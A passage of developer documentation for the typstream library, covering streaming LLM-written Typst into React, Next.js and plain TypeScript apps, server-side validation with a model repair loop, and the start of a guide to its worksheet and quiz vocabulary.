| Script fonts: Noto Naskh Arabic, Noto Serif Bengali, Noto Serif Devanagari (regular and bold) | 47–79 KB brotli each | The first time a document needs one, per face |
| Typst packages (CeTZ, fletcher, …) | tarballs, up to a few hundred KB | The first time a document imports one |

Once a worker is ready, the engine starts a second, spare one, so a worker that hangs or crashes is replaced at once. The spare loads the same wasm and fonts, from cache when your server lets them be cached. Pass `spare: false` to `createEngine` to turn it off.

Documents themselves are lazy: a `<Typstream>` opens and compiles only when its element comes within a screen of the viewport, or as soon as it streams. A chat with fifty finished answers compiles only the ones on screen.

Serve the assets so they download once:

- **Compressed.** Brotli or gzip for the `.wasm` and the fonts. The wasm shrinks from about 19 MB to about 6 MB.
- **Cacheable.** Bundlers put a content hash in the asset names, so they can be cached for a long time (`Cache-Control: public, max-age=31536000, immutable`). The worker also keeps fonts and package tarballs in Cache Storage.
- **As `application/wasm`.** With that content type the browser compiles the wasm while it downloads. Without it, the engine falls back to a slower path and logs a warning.

## Next steps

<Cards>
  <Card title="React" href="/docs/getting-started/react">`<Typstream>` in a Vite app, from a fake stream to a real one.</Card>
  <Card title="Next.js and the AI SDK" href="/docs/getting-started/nextjs-ai-sdk">A chat whose answers are Typst documents, with `useChat`.</Card>
  <Card title="Without a framework" href="/docs/getting-started/vanilla">`mountTypstream` and the engine, in plain TypeScript.</Card>
  <Card title="Node.js (server)" href="/docs/getting-started/node">Validate, render and repair documents on the server.</Card>
</Cards>


# Next.js and the AI SDK

> A Next.js App Router chat whose answers are Typst documents, streamed with the Vercel AI SDK's streamText and useChat and rendered with the Typstream component, with @typstream/ai reading each answer.

Source: https://typstream.vercel.app/docs/getting-started/nextjs-ai-sdk

This page builds a chat where the model answers in Typst and every answer renders as a live document. A route handler streams the model's text with `streamText`, `useChat` receives it on the client, and each assistant message goes into its own `<Typstream>`, with [`@typstream/ai`](/docs/reference/ai) reading its text and whether it's still being written.

It's written against Next.js 16, AI SDK 7 (`ai`), `@ai-sdk/react` 4 and `@ai-sdk/anthropic` 4. `examples/nextjs-ai-sdk` in the repository is the finished version: the same chat with [edu's prompt kit and plugin](#better-prompts-with-the-edu-plugin), answers as pages, [telemetry](/docs/guides/telemetry), and a chat UI from shadcn/ui's AI Elements.

<Files>
  <Folder name="app" defaultOpen>
    <Folder name="api" defaultOpen>
      <Folder name="chat" defaultOpen>
        <File name="route.ts" />
      </Folder>
    </Folder>
    <File name="layout.tsx" />
    <File name="page.tsx" />
  </Folder>
  <File name="next.config.ts" />
</Files>

<Steps>
<Step>

### Install

```npm
npm install typstream @typstream/ai ai @ai-sdk/react @ai-sdk/anthropic
```

Set `ANTHROPIC_API_KEY` in `.env.local`. Any AI SDK provider works the same way.

</Step>
<Step>

### The route handler

The server asks the model for a Typst document and streams the reply as a UI message stream. The instructions matter: models default to Markdown, and the healer can only fix so much of it.

```ts title="app/api/chat/route.ts"
import { anthropic } from "@ai-sdk/anthropic";
import { convertToModelMessages, streamText, type UIMessage } from "ai";

export const maxDuration = 60;

const INSTRUCTIONS = `You write educational documents (worksheets, quizzes, handouts) in Typst 0.15 markup.
Reply with the Typst source only: no Markdown, no code fences, no commentary before or after.
- Headings are "= Title", "== Section"; *bold*, _italic_; "- " bullets and "+ " numbered items.
- Math goes between dollar signs: $a^2 + b^2 = c^2$, with a space inside for display math: $ x = 1/2 $.
- Tables: #table(columns: 3, [Header], [Header], [Header], [cell], [cell], [cell]).
- Write a literal dollar sign, hash or at sign as \\$, \\#, \\@.
- Leave room for answers with #v(2em) or #line(length: 100%).
- Leave the page size to the viewer: no paper, width, height or flipped in #set page (margins are fine).`;

export async function POST(request: Request) {
  const { messages }: { messages: UIMessage[] } = await request.json();
  const result = streamText({
    model: anthropic("claude-sonnet-5-5"),
    instructions: INSTRUCTIONS,
    messages: await convertToModelMessages(messages),
  });
  return result.toUIMessageStreamResponse();
}
```

In AI SDK 7, `instructions` is the system prompt (`system` still works but is deprecated).

</Step>
<Step>

### The chat page

The page is a client component: `useChat` holds the messages and posts to `/api/chat`, and each assistant message renders as a `<Typstream>`.

```tsx title="app/page.tsx"
"use client";

import { useChat } from "@ai-sdk/react";
import { isStreaming, textOf } from "@typstream/ai";
import { useState } from "react";
import { Typstream } from "typstream";

export default function Page() {
  const chat = useChat();
  const { messages, sendMessage, status } = chat;
  const [input, setInput] = useState("");
  const busy = status === "streaming" || status === "submitted";

  return (
    <main>
      {messages.map((message) =>
        message.role === "user" ? (
          <p key={message.id}>{textOf(message)}</p>
        ) : (
          <Typstream
            key={message.id}
            source={textOf(message)}
            isStreaming={isStreaming(message, chat)}
            animated
            caret
          />
        ),
      )}
      <form
        onSubmit={(e) => {
          e.preventDefault();
          if (!input.trim() || busy) return;
          void sendMessage({ text: input });
          setInput("");
        }}
      >
        <input value={input} onChange={(e) => setInput(e.target.value)} placeholder="Ask for a worksheet…" />
        <button type="submit" disabled={busy}>
          Send
        </button>
      </form>
    </main>
  );
}
```

Run `npm run dev` and ask for "A one-page worksheet on the Pythagorean theorem for grade 8".

</Step>
</Steps>

## How it fits together

- **One `<Typstream>` per assistant message.** `textOf(message)` is the message's text so far (its text parts; reasoning and tool parts aren't the document), which is what `source` expects. Key it by the message's id, so React keeps each document's component (and its rendered output) across updates.
- **`isStreaming(message, chat)` only for the answer being written.** It's true while the chat answers with this message and its text hasn't ended (text followed by a tool call hasn't: more may come). Both halves matter: `status === "streaming"` is true for the whole chat while any answer streams, so every earlier answer would go back to streaming and start over; and a text part's own `state` stays `"streaming"` when the user stops the answer or the network fails, so that document would never finish. When it turns false, the answer is compiled in final mode and the caret disappears.
- **One worker for the whole chat.** Every `<Typstream>` shares one engine worker, and only answers near the viewport or still streaming compile. A long conversation stays cheap.
- **`"use client"`.** `useChat` already makes the page a client component. The `typstream` bundle is marked `"use client"` itself, so you can also render `<Typstream>` from a Server Component with a fixed `source`. On the server it renders an empty `<div>`; the document appears in the browser.
- **No Next.js configuration.** The engine's worker, the wasm and the fonts are `new URL(…, import.meta.url)` assets that Turbopack and webpack emit. The example's `next.config.ts` sets only `turbopack.root`, because it lives in a pnpm monorepo whose packages are symlinked from outside the app; a standalone app doesn't need it.

## Follow-ups

Once there's a document, the teacher's next request usually changes it ("make question 3 harder"). The example
answers it with a new document: edu's prompt kit asks for the whole document in every answer, and the earlier answers
are in the chat. The route sends the chat to the model exactly as `useChat` posted it, with the same system prompt
every time. Don't rewrite earlier messages (to add the current document to them, say): with Claude's extended
thinking, an answer's thinking is signed over everything before it, and a request in which that changed fails.
[Streaming edits](/docs/guides/streaming-edits) changes the document in place instead.

## Show progress under each answer

`useTypstream()` reads one document's state. Move the `<Typstream>` into its own component to show a status line under each answer:

```tsx title="app/answer.tsx"
"use client";

import { Typstream, useTypstream } from "typstream";

export function Answer({ text, streaming }: { text: string; streaming: boolean }) {
  const t = useTypstream();
  const frame = t.openFrames[0]?.frame;
  return (
    <article>
      <Typstream ref={t.ref} source={text} isStreaming={streaming} layout="fit-width" animated caret />
      <footer>
        {t.status}
        {streaming && frame ? ` · writing ${frame}…` : ""}
        {t.diagnostics.length ? ` · ${t.diagnostics.length} diagnostics` : ""}
      </footer>
    </article>
  );
}
```

`layout="fit-width"` only applies to the paged target (`target="paged"`): it scales the document's pages to the answer's width, so they are the pages its PDF has. The example has a switch between the HTML and paged targets.

## Better prompts with the edu plugin

The instructions above are short. For worksheets, quizzes and exams, `@typstream/edu` gives the model a vocabulary (`#question`, `#mcq`, `#blank`, answer keys) and `buildSystemPrompt` writes the system prompt for it: Typst rules that target the mistakes models actually make, each function's signature and example, and example documents.

<Callout type="warn" title="Beta">
`buildSystemPrompt` is `@beta`: its output and options may change before 1.0.
</Callout>

```ts title="app/api/chat/route.ts"
import { buildSystemPrompt, edu } from "@typstream/edu";
import { universe } from "@typstream/universe";

const INSTRUCTIONS = buildSystemPrompt([edu, universe]); // deterministic, so it caches
```

Import `universe` from `@typstream/universe` here, not from `typstream`: the `typstream` bundle is a client module. Then render with the same plugin on the client, so the functions the model was told about exist:

```tsx
import { edu } from "@typstream/edu";

<Typstream source={textOf(message)} isStreaming={isStreaming(message, chat)} plugins={[edu]} animated caret />;
```

[Prompting](/docs/guides/prompting) covers the prompt kit, and [Telemetry](/docs/guides/telemetry) shows how the example wires typstream's events to an analytics endpoint with `<TypstreamProvider>`.


# Node.js (server)

> Validate, render and repair LLM-written Typst on the server with @typstream/node, including a fix loop that sends Typst's errors back to the model.

Source: https://typstream.vercel.app/docs/getting-started/node

`@typstream/node` is for the server side of an app that saves LLM-written documents. It checks a finished document before you save it, renders it to PDF, HTML or SVG, and turns Typst's errors into a repair prompt for the model. It runs the same Typst build as the browser (Typst 0.15.1 compiled to WebAssembly) on worker threads, so a document that validates here renders the same in the preview.

```npm
npm install @typstream/node
```

It needs Node.js 20 or later, and is ESM only.

## Validate

```ts
import { validate } from "@typstream/node";

const { ok, diagnostics, pageCount } = await validate(source);
```

`validate` compiles the document without exporting it and adds typstream's lint findings as warnings: Markdown habits that compile but render wrongly, such as `**bold**` or `$5 and $10`. `ok` is true when there are no errors; warnings don't count. Diagnostics have UTF-16 offsets into `source` (`source.slice(d.span.from, d.span.to)` is the offending text), as everywhere in typstream.

It never throws for a broken document. A compile that runs past the watchdog comes back as an error diagnostic with `code: "timeout"`, and one that crashes the engine (out of memory, say) with `code: "engine-crashed"`.

| Option | Default | |
|---|---|---|
| `target` | `"paged"` | `"html"` also catches problems specific to HTML export. |
| `lint` | `true` | `false` to skip the lint rules, or per-rule settings such as `{ "currency-dollar": "off" }`. |
| `preamble` | | Typst evaluated before the document (a theme, imports). |
| `files` | | Files the document reads (images, data, other `.typ` files), by path relative to the document. |
| `inputs` | | `sys.inputs`, e.g. `{ showAnswers: "true" }`. |
| `timeoutMs` | the engine's | Watchdog budget for this compile. |
| `engine` | a shared default | An engine from `createEngine()`. |

## Render

```ts
import { render } from "@typstream/node";

const pdf = await render(source, "pdf"); // data: Uint8Array
const html = await render(source, "html"); // data: string, an HTML document
const svg = await render(source, "svg"); // data: string[], one SVG per page

if (pdf.ok) await writeFile("worksheet.pdf", pdf.data);
else console.error(pdf.diagnostics);
```

`render` takes the same options as `validate` except `target` and `lint`. It reports Typst's diagnostics only. `ok: false` means the document didn't compile and there is no `data`.

## Turn errors into a repair prompt

```ts
import { formatDiagnosticsForLLM, validate } from "@typstream/node";

const { ok, diagnostics } = await validate(source);
if (!ok) console.log(formatDiagnosticsForLLM(source, diagnostics));
```

The prompt looks like the Typst CLI's output: a summary line, then each problem with its message, `--> line, column`, the source line with `^^^` under the problem, and its hints, then an instruction to reply with the corrected document.

```text
The Typst document has 1 error.

error: unknown variable: hilight
 --> line 4, column 2
  |
3 | Read the passage.
4 | #hilight[Underline every verb.]
  |  ^^^^^^^
5 |

Fix every error, and the warnings where they point at a real mistake. Reply with the complete corrected Typst document only.
```

Lint findings appear as warnings with their rule, and a hint that says exactly what to change:

```text
warning[markdown-bold]: Markdown `**`; Typst uses single `*`
 --> line 4, column 1
  |
3 | A pen costs \$5 and a book \$10.
4 | **Note:** bring a pencil.
  | ^^^^^^^^^
5 |
  = hint: replace `**Note:**` with `*Note:*`
```

Errors come first, repeats are dropped, and at most `maxDiagnostics` (10) are shown, so the prompt stays small for long documents. Options: `maxDiagnostics`, `contextLines` (1), `includeWarnings` (true), and `instructions` (the closing sentence; `""` for none).

## The fix loop

`fixLoop` validates the document, asks your model to repair it while it has errors, and validates each reply, for at most `maxRounds` rounds (3). Your `generate` function gets the current `source`, its `diagnostics`, the ready-made `prompt` and the `round`, and returns the model's reply. A ```` ```typst ```` fence around the reply is removed.

With the Anthropic SDK:

```ts
import Anthropic from "@anthropic-ai/sdk";
import { fixLoop, render } from "@typstream/node";

const client = new Anthropic();

const result = await fixLoop({
  source,
  generate: async ({ prompt, source }) => {
    const reply = await client.messages.create({
      model: "claude-opus-5-5",
      max_tokens: 16000,
      messages: [{ role: "user", content: `${prompt}\n\n${source}` }],
    });
    return reply.content[0].type === "text" ? reply.content[0].text : "";
  },
});

if (result.ok) {
  const pdf = await render(result.source, "pdf");
  if (pdf.ok) await save(pdf.data);
}
```

`result.source` is the best attempt, ranked by fewest errors, then fewest warnings, then the latest. A reply that makes things worse never replaces a better version. `result.attempts` lists every version, starting with the original. With `strict: true` the loop also repairs documents that have only warnings, such as Markdown `**bold**`. `fixLoop` takes `validate`'s options too, plus `format` for `formatDiagnosticsForLLM`.

## The engine

`validate` and `render` use a default engine, created on first use. Create your own to set workers, fonts and budgets, and share it across calls:

```ts
import { createEngine, validate } from "@typstream/node";

const engine = createEngine({
  workers: 4, // most worker threads; default min(4, cores - 1), at least 1
  timeoutMs: 10_000, // watchdog budget per compile (default 10 s)
  fontPaths: ["/srv/fonts/noto"], // more fonts, searched recursively, like typst --font-path
});

await validate(source, { engine });
await engine.close();
```

| Option | Default | |
|---|---|---|
| `workers` | `min(4, cores - 1)` | Most worker threads; each compiles one document at a time. |
| `timeoutMs` | `10000` | Watchdog budget per compile. A compile over budget is stopped by terminating its worker. |
| `maxMemoryBytes` | 1 GiB | Replace a worker once its wasm memory exceeds this (wasm memory never shrinks). |
| `typstFonts` | `true` | Typst's bundled fonts: Libertinus Serif, New Computer Modern, DejaVu Sans Mono. |
| `scriptFonts` | `true` | Noto Naskh Arabic, Noto Serif Bengali and Noto Serif Devanagari, regular and bold. |
| `fontPaths` | | Directories searched recursively for font files. |
| `fonts` | | Font files as bytes (TTF, OTF, TTC). |

Nothing starts until the first compile. Workers start on demand, keep Typst's caches warm between calls, and don't keep the process alive while idle, so a script that validates one document exits without `close()`. A long-running server should call `engine.close()` on shutdown; pending compiles fail and the engine can't be used afterwards.

A runaway document (a loop that never ends, a memory bomb) costs one worker, which is replaced; the process is unaffected. Documents can read only the `files` you pass: not the server's filesystem, not the network.

## Next steps

- [The server fix loop](/docs/guides/server-fix-loop): when to validate, what to send the model, and what to do when the loop gives up.
- [Remote engine](/docs/guides/remote-engine): serve the engine protocol over WebSocket with `createProtocolServer` and `handleWebSocket`, for browsers that shouldn't download the 6 MB engine.
- [`@typstream/node` reference](/docs/reference/node).


# React

> Render streamed Typst in a Vite and React app with the typstream package's Typstream component, from a fake stream to a real one.

Source: https://typstream.vercel.app/docs/getting-started/react

`<Typstream>` takes the text a model has written so far and shows it as a document, updating as more arrives. Each prefix is healed so it compiles, compiled in a worker, and shown as HTML (or as pages). While a prefix doesn't compile, the last good render stays on screen.

This page builds a Vite app step by step. The same component works in any React 19 app; for Next.js with the Vercel AI SDK, see [Next.js and the AI SDK](/docs/getting-started/nextjs-ai-sdk). [`examples/vite-react`](https://github.com/ikramhasan/typstream/tree/main/examples/vite-react) in the repository is a finished version, with a target switch and a PDF download.

<Steps>
<Step>

### Create the app

```bash
npm create vite@latest typstream-demo -- --template react-ts
cd typstream-demo
```

</Step>
<Step>

### Install typstream

```npm
npm install typstream
```

Vite needs no configuration: the engine's worker, the Typst wasm and its fonts are emitted as assets when you build.

</Step>
<Step>

### Stream a document

Replace `src/App.tsx` with a component that replays a Typst document a few characters at a time, the way a model streams it:

```tsx title="src/App.tsx"
import { useEffect, useState } from "react";
import { Typstream } from "typstream";

const DOCUMENT = `= Fractions
Add the fractions. Simplify where you can.

+ $1/2 + 1/4 = 3/4$
+ $2/3 + 1/6 = 5/6$

#table(
  columns: 2,
  [*Fraction*], [*Decimal*],
  [$1/4$], [$0.25$],
  [$3/4$], [$0.75$],
)
`;

export default function App() {
  const [source, setSource] = useState("");

  useEffect(() => {
    let length = 0;
    const timer = setInterval(() => {
      length = Math.min(length + 4, DOCUMENT.length);
      setSource(DOCUMENT.slice(0, length));
      if (length === DOCUMENT.length) clearInterval(timer);
    }, 30);
    return () => clearInterval(timer);
  }, []);

  return <Typstream source={source} isStreaming={source.length < DOCUMENT.length} animated caret />;
}
```

Run `npm run dev`. The heading, the list and the table appear while the text arrives, words fade in, and a caret follows the end. Half-written constructs such as `#table(columns: 2, [*Frac` are closed for each compile, so they render instead of failing.

When `isStreaming` turns false, the document is finished: it is compiled strictly (final mode), and the caret goes away.

</Step>
<Step>

### Stream from your server

Replace the fake stream with a real one. This version reads a plain-text response from an endpoint of your own (`/api/generate` here) that streams the model's output:

```tsx title="src/App.tsx"
import { useState } from "react";
import { Typstream } from "typstream";

export default function App() {
  const [source, setSource] = useState("");
  const [streaming, setStreaming] = useState(false);

  async function generate(prompt: string) {
    setSource("");
    setStreaming(true);
    try {
      const response = await fetch("/api/generate", { method: "POST", body: JSON.stringify({ prompt }) });
      if (!response.body) throw new Error(`HTTP ${response.status}`);
      const reader = response.body.pipeThrough(new TextDecoderStream()).getReader();
      let text = "";
      for (;;) {
        const { done, value } = await reader.read();
        if (done) break;
        text += value;
        setSource(text);
      }
    } finally {
      setStreaming(false);
    }
  }

  return (
    <>
      <button type="button" disabled={streaming} onClick={() => generate("A worksheet on fractions")}>
        Generate
      </button>
      <Typstream source={source} isStreaming={streaming} animated caret />
    </>
  );
}
```

`source` is always the whole text so far, not the latest chunk. typstream notices when the new text extends the old one and only sends the difference to the engine. Setting `isStreaming` back to true after a document finished starts it over, which is what a regenerated answer needs.

The model must write Typst, not Markdown: [Prompting](/docs/guides/prompting) has the instructions that work.

</Step>
</Steps>

## Props you will use first

| Prop | Default | What it does |
|---|---|---|
| `source` | | The document's whole text so far. |
| `isStreaming` | `false` | More `source` is coming. When it turns false, the document is compiled in final mode and the caret goes away. |
| `animated` | `false` | Fade in new words while streaming (HTML target). `true`, or options such as `{ animation: "blurIn", duration: 300 }`. |
| `caret` | `false` | Show a caret after the last text while streaming (HTML target). |
| `target` | `"html"` | `"html"`: semantic HTML with MathML, which reflows and inherits your page's fonts. `"paged"`: pages, laid out exactly as Typst lays them out and painted on canvases (`renderer="svg"` for SVG). Switching keeps the document; the old output stays until the new target's first compile. |

`stream` is an alternative to `source`: an `AsyncIterable<string>` of chunks, finished when it ends. A new stream object starts the document over, so create it once rather than on every render. Instances given the same stream share one reader, so StrictMode's second mount shows every chunk, including those the first one read.

The other props (`layout`, `theme`, `inputs`, `files`, `preamble`, `heal`, `lazy`, `engine`, the callbacks) are in the [`@typstream/react` reference](/docs/reference/react). `typstream`'s `<Typstream>` adds two of its own: `htmlCompat={false}` and `packages={false}` turn off html-compat and the vendored Typst packages ([`typstream` reference](/docs/reference/typstream)).

## Read the document's state

`useTypstream()` gives you a `ref` to pass to one `<Typstream>`, and that document's live state: for a status line, a diagnostics panel, or a "writing a table…" hint.

```tsx
import { Typstream, useTypstream } from "typstream";

function Answer({ text, streaming }: { text: string; streaming: boolean }) {
  const t = useTypstream();
  const frame = t.openFrames[0]?.frame; // innermost construct still open, e.g. "math" or "args"
  return (
    <article>
      <Typstream ref={t.ref} source={text} isStreaming={streaming} animated caret />
      <footer>
        {t.status}
        {streaming && frame ? ` · writing ${frame}…` : ""}
        {t.diagnostics.length ? ` · ${t.diagnostics.length} diagnostics` : ""}
      </footer>
    </article>
  );
}
```

| Field | What it is |
|---|---|
| `status` | `"idle"` until the document opens and between compiles, `"compiling"`, `"stale"` (streaming and the latest compile failed; the last good render is shown), `"error"` (the finished document failed), `"done"`. |
| `diagnostics` | Typst's errors and warnings from the latest compile, with offsets into `source` (UTF-16, as JavaScript strings index). |
| `openFrames` | Constructs still open at the end of the text, innermost first. |
| `healedSource` | The healed text the engine compiled. |
| `exportPdf()`, `exportDocx()`, `exportHtml()`, `exportSource()` | The document as a PDF (bytes), an editable DOCX file (bytes, beta), a standalone HTML file or its Typst source, at the document's own page size. See [Exports](/docs/guides/exports). |
| `document` | The engine document, once it has opened. |
| `state` | The whole `DocumentState`, `null` until the document opens. |

`"stale"` while streaming is normal: a prefix that doesn't compile yet keeps the previous render on screen. It is not an error to show the user. To react to status changes without a hook, pass `onStatusChange={(status, state) => …}`.

## Set app-wide defaults

`<TypstreamProvider>` sets defaults for every `<Typstream>` below it: theme, plugins, heal options, telemetry hooks, an engine. Lists (`plugins`, `stylesheets`) add up, `inputs` and `files` merge, telemetry hooks are all called, and anything else a `<Typstream>` sets itself wins.

```tsx title="src/main.tsx"
import { StrictMode } from "react";
import { createRoot } from "react-dom/client";
import { TypstreamProvider } from "typstream";
import App from "./App";

createRoot(document.getElementById("root")!).render(
  <StrictMode>
    <TypstreamProvider theme="light" heal={{ lint: { "currency-dollar": "fix" } }}>
      <App />
    </TypstreamProvider>
  </StrictMode>,
);
```

Every `<Typstream>` without its own `engine` shares one engine worker, created when the first one mounts. Without a provider, the worker is shut down a second after the last `<Typstream>` unmounts; a provider keeps it alive while the provider is mounted, so a chat that switches conversations doesn't restart the engine.

## Add the edu vocabulary

For worksheets, quizzes and exams, add the `@typstream/edu` plugin. It brings the Typst functions (`#question`, `#mcq`, `#blank`, templates, answer keys) and their CSS.

```npm
npm install @typstream/edu
```

```tsx
import { edu } from "@typstream/edu";
import { Typstream } from "typstream";

<Typstream source={text} isStreaming={streaming} plugins={[edu]} />;

// The teacher's copy: the same document with answers, recompiled rather than re-prompted.
<Typstream source={text} plugins={[edu]} inputs={{ showAnswers: "true" }} />;
```

Put `plugins={[edu]}` on the provider instead to make the vocabulary available everywhere. The model also needs to know the functions exist: [Prompting](/docs/guides/prompting) shows how to build the system prompt, and [Edu documents](/docs/guides/edu-documents) covers the vocabulary.

```typst
#question(points: 2)[$1/2 + 1/4 =$ #blank(answer: $3/4$)]
#question(points: 1)[
  Which is largest?
  #mcq([$1/2$], [$2/3$], [$3/5$], answer: 2)
]
```

## Next steps

- [How it works](/docs/concepts/how-it-works): healing, the engine worker and the fallback, in one page.
- [Render targets](/docs/concepts/render-targets): when to use HTML and when to use pages.
- [Exports](/docs/guides/exports): PDF and standalone HTML from a rendered document.
- [Troubleshooting](/docs/resources/troubleshooting).


# Without a framework

> Render streamed Typst in plain TypeScript with @typstream/dom's mountTypstream, or drive the engine and the renderers yourself.

Source: https://typstream.vercel.app/docs/getting-started/vanilla

`@typstream/dom` renders typstream's output with no framework. `mountTypstream` puts a streaming document in an element: it opens the document on an engine, feeds it, and shows each result with the renderer for its target. It is what `@typstream/react` wraps, so it behaves the same, and it is the starting point for Vue, Svelte or Solid bindings of your own. [`examples/vanilla`](https://github.com/ikramhasan/typstream/tree/main/examples/vanilla) in the repository is this page's setup as a Vite app.

```npm
npm install @typstream/dom @typstream/engine @typstream/engine-wasm @typstream/html-compat @typstream/universe
```

`@typstream/engine-wasm` is there for the math font's URL, and html-compat and universe are plugins that `typstream`'s React component adds for you. Here you add them yourself.

## Mount a document

```ts title="main.ts"
import { mountTypstream, registerMathFont } from "@typstream/dom";
import { createEngine, engineWorker } from "@typstream/engine";
import { baseFonts } from "@typstream/engine-wasm/fonts";
import { htmlCompat } from "@typstream/html-compat";
import { universe } from "@typstream/universe";

// One engine per page: every document on it shares one worker.
const engine = createEngine({ spawn: engineWorker() });

// MathML needs a math font to stretch delimiters; html-compat's CSS asks for this one.
const mathFont = baseFonts.find((url) => url.pathname.includes("NewCMMath"));
if (mathFont) void registerMathFont(mathFont);

const options = {
  engine,
  plugins: [htmlCompat, universe],
  isStreaming: true,
  animated: true,
  caret: true,
};

const view = mountTypstream(document.querySelector<HTMLElement>("#preview")!, { ...options, source: "" });

let text = "";
for await (const chunk of llmStream) {
  text += chunk;
  view.update({ ...options, source: text });
}
view.update({ ...options, source: text, isStreaming: false }); // finished: strict compile, no caret
```

`llmStream` is any async iterable of text chunks from your model.

Without `htmlCompat`, grids, alignment, boxes and shapes come out empty in the HTML target ([html-compat](/docs/reference/html-compat)). Without `universe`, documents can't import CeTZ, fletcher and the other vendored packages ([Typst packages](/docs/guides/typst-packages)). Without the math font, MathML falls back to whatever math font the browser has.

## `update()` takes all options, every time

`update(options)` replaces the options, it doesn't merge them: anything you leave out goes back to its default. Keep the options in one object, as above, and pass the whole set each time. `update()` compares and acts only on what changed:

- **`source`** that extends the previous one is pushed as the new text; any other change replaces the text.
- **`isStreaming`** turning false finishes the document: it is healed strictly and compiled in final mode, and the caret goes away. Turning true again starts the document over, for a regenerated answer.
- **`target`, `inputs` and `files`** change in place.
- **A different `engine`, `plugins`, `preamble` (including a template's), `heal` or `schedule`** opens a new document. The old output stays until the new document's first compile.

Plain objects and arrays are compared by value, so building `heal: { lint: { "currency-dollar": "fix" } }` or `inputs` afresh on every call doesn't reopen or recompile anything.

## Or pass a stream

Instead of `source`, give `stream`: an `AsyncIterable<string>` of chunks. The mount reads it, and the document is finished when the stream ends. A new stream starts the document over. Mounts given the same stream share one reader, so a mount created after the stream started still shows all of it.

```ts
const view = mountTypstream(element, { engine, plugins: [htmlCompat, universe], stream: llmStream });
```

If the stream throws, what arrived is shown and finished, and the error is passed to `reportError`.

## Read the state

```ts
const stop = view.subscribe(() => {
  const state = view.getState(); // null until the document opens
  if (!state) return;
  statusLine.textContent = state.status; // "idle" | "compiling" | "stale" | "error" | "done"
});
```

`getState()` returns the engine document's `DocumentState`: `status`, `diagnostics` (offsets into your `source`, in UTF-16), `heal` (the healed source and the constructs still open), `failure` and the last good `artifact`. For changes only, pass callbacks instead: `onStatusChange`, `onDiagnostics`, and the telemetry hooks `onRendered`, `onFallback` and `onWatchdog` ([Telemetry](/docs/guides/telemetry)).

## Export

```ts
const pdf = await view.exportPdf(); // Uint8Array
const html = await view.exportHtml({ title: "Fractions" }); // a standalone HTML file, as a string
const source = view.exportSource(); // the healed Typst the exports compile
```

Exports compile on the same engine as the preview. `exportHtml` returns a file that opens on its own, with the mount's plugins' CSS, your `stylesheets` and theme; pass `mathFont` among its options (the font's bytes to embed, or an absolute URL) so readers' browsers have the math font. An export opens the document first if it hasn't opened yet. Details in [Exports](/docs/guides/exports).

## Clean up

`view.destroy()` disposes the document and removes what it rendered. The engine is yours: call `engine.dispose()` when no document needs it any more, which terminates its workers.

## Lazy by default

A mounted document opens and compiles only when its element comes within one screen of the viewport, or as soon as it streams. Offscreen, finished documents apply changes when they scroll back into view. A page of fifty finished documents on one engine compiles only the ones a reader can see.

Pass `lazy: false` to open the document right away. You need it for an element that is hidden (`display: none`, a closed tab) and should still compile, since a hidden element never comes into view. `view.document` and `getState()` are `null` until the document opens.

## Lower level: the engine and the renderers

`mountTypstream` is a convenience. When you need control over what is shown (a custom layout around pages, your own handling of failures), open a document on the engine and render its artifacts yourself.

### Pages

`mountPaged` shows a document as pages, painted on canvases from drawings the engine sends, and redraws only the pages that changed (`renderer: "svg"` for SVG pages):

```ts
import { mountPaged } from "@typstream/dom";
import { createEngine, engineWorker } from "@typstream/engine";

const engine = createEngine({ spawn: engineWorker() });
const doc = engine.open({ target: "paged" });
const { destroy } = mountPaged(document.querySelector<HTMLElement>("#preview")!, doc);

for await (const chunk of llmStream) doc.push(chunk);
doc.finish(); // strict heal, final compile → status "done" or "error"
```

`createPagedView(container, options)` is the same renderer without a document: call `view.render(artifact)` with any paged artifact.

### HTML

`createHtmlRenderer` shows an HTML artifact. It sanitizes the markup, updates only the blocks that changed, and adds the fade-in and the caret. Give it the document's resolved plugins, so html-compat's sanitizer allowances and CSS apply:

```ts
import { createHtmlRenderer } from "@typstream/dom";
import { createEngine, engineWorker } from "@typstream/engine";
import { htmlCompat } from "@typstream/html-compat";

const engine = createEngine({ spawn: engineWorker() });
const doc = engine.open({ target: "html", plugins: [htmlCompat] });
const renderer = createHtmlRenderer(document.querySelector<HTMLElement>("#preview")!, { plugins: doc.plugins });

doc.subscribe((state) => {
  if (state.artifact?.target !== "html") return;
  renderer.update(state.artifact.html, { animate: !state.final, caret: !state.final });
});

for await (const chunk of llmStream) doc.push(chunk);
doc.finish();
```

`doc.subscribe` calls back on every state change, not only new artifacts; `renderer.update` with the same HTML changes nothing. Call `renderer.dispose()` and `doc.dispose()` when you are done.

An `EngineDocument` also has `set(text)` (replace the text), `applyEdit({ from, to, insert })`, `reset()`, `setTarget()`, `setInputs()`, `setFiles()`, `onEvent()` and the exports. The [engine reference](/docs/reference/engine) and the [dom reference](/docs/reference/dom) list everything.


# Worksheets, quizzes and answer keys

> Use @typstream/edu to render teachers' documents with numbered questions, hidden answers, a teacher's copy and an answer key, in English, Arabic or Bengali.

Source: https://typstream.vercel.app/docs/guides/edu-documents

`@typstream/edu` is a Typst vocabulary for teachers' documents: templates (worksheet, quiz, exam, lesson plan,
handout), questions with points, answer spaces, answers that only the teacher's copy shows, callouts, rubrics and
drawings. Every function renders in both targets, so a quiz looks right as live HTML and as printed pages. This guide
goes from adding the plugin to exporting a student's and a teacher's PDF. Every function is listed, with a live
example, in the [edu vocabulary](/docs/reference/edu/vocabulary).

## Add the plugin

```npm
npm install typstream @typstream/edu
```

```tsx
import { edu } from "@typstream/edu";
import { Typstream } from "typstream";

<Typstream source={text} isStreaming={status === "streaming"} plugins={[edu]} />;
```

To give every document on the page the vocabulary, put it on a provider instead:
`<TypstreamProvider plugins={[edu]}>`. Without React, pass it the same way: `mountTypstream(element, { engine, plugins: [edu] })`
or `engine.open({ plugins: [edu] })`.

The plugin brings:

- **The Typst package**, mounted as a local package under `@typstream/edu:0.1.0`. Nothing is downloaded and it
  needs no [package allowlist](/docs/guides/typst-packages) entry.
- **A preamble** that imports every public function, so documents call `#question(…)` directly, with no `#import`.
- **Templates** your app can apply by name (see [Templates](#templates)).
- **A stylesheet** for the HTML its functions write: answer lines, boxes, option letters. It follows the renderer's
  theme, so dark mode works. Without it the HTML keeps its content but loses its rules and frames.
- **The prompt kit**: rules, a function catalogue and example documents for the model. See
  [Prompting the model](/docs/guides/prompting).

## A quiz

A document applies one template on its first line, then writes questions. Each `#question` is numbered through the
document, and its points add up to the total in the header. The answers go into the functions, never into the text:

```typst
#show: quiz.with(title: [Fractions Check-in], subject: [Mathematics], grade: [Grade 5])

#question(points: 1)[
  Which fraction is equal to $1/2$?
